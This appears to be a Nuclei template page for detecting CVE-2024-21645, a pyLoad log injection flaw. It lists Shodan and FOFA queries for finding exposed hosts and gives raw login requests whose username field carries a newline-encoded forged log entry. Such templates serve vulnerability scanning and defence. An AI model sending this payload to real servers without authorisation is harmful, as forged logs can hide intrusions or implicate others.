Skip to content
Nuclei Templates

pyload - Log Injection

ID: CVE-2024-21645

Severity: medium

Author: isacaya

Tags: cve,cve2024,pyload,authenticated,injection

Description

Section titled “Description”

A log injection vulnerability was identified in pyload. This vulnerability allows any unauthenticated actor to inject arbitrary messages into the logs gathered by pyload.

YAML Source

Section titled “YAML Source”
id: CVE-2024-21645


info:
  name: pyload - Log Injection
  author: isacaya
  severity: medium
  description: |
    A log injection vulnerability was identified in pyload. This vulnerability allows any unauthenticated actor to inject arbitrary messages into the logs gathered by pyload.
  impact: |
    Forged or otherwise, corrupted log files can be used to cover an attacker's tracks or even to implicate another party in the commission of a malicious act.
  reference:
    - https://github.com/advisories/GHSA-ghmw-rwh8-6qmr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21645
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-21645
    cwe-id: CWE-74
    epss-score: 0.0112
    epss-percentile: 0.84559
    cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: pyload
    product: pyload
    shodan-query:
      - "title:\"pyload\""
      - http.title:"login - pyload"
      - http.html:"pyload"
      - http.title:"pyload"
    fofa-query:
      - title="login - pyload"
      - body="pyload"
      - title="pyload"
    google-query:
      - intitle:"login - pyload"
      - intitle:"pyload"
    zoomeye-query: app="pyLoad"
  tags: cve,cve2024,pyload,authenticated,injection
variables:
  str: "{{rand_base(6)}}"


http:
  - raw:
      - |
        POST /login?next={{RootURL}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        do=login&username={{randstr}}\'%0a[1970-01-01 00:00:00]  INJECTED               {{str}}  THIS ENTRY HAS BEEN INJECTED&password=wrong&submit=Login


      - |
        POST /login?next={{RootURL}}/logs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        do=login&username={{username}}&password={{password}}&submit=Login


    redirects: true
    max-redirects: 1


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<td>1970-01-01 00:00:00</td><td class="loglevel">INJECTED</td><td class="logsource">{{str}}</td><td>THIS&nbsp;ENTRY&nbsp;HAS&nbsp;BEEN&nbsp;INJECTED&#39;</td>'


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e0be84001dc000327b8859964003294b45d618e6cd5f13ca2344e4800354b6b2022100c15a95a1fd631137dd3709693f45e30473a9c5000eb0d5c7dc612672997b03e8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-21645.yaml"

View on Github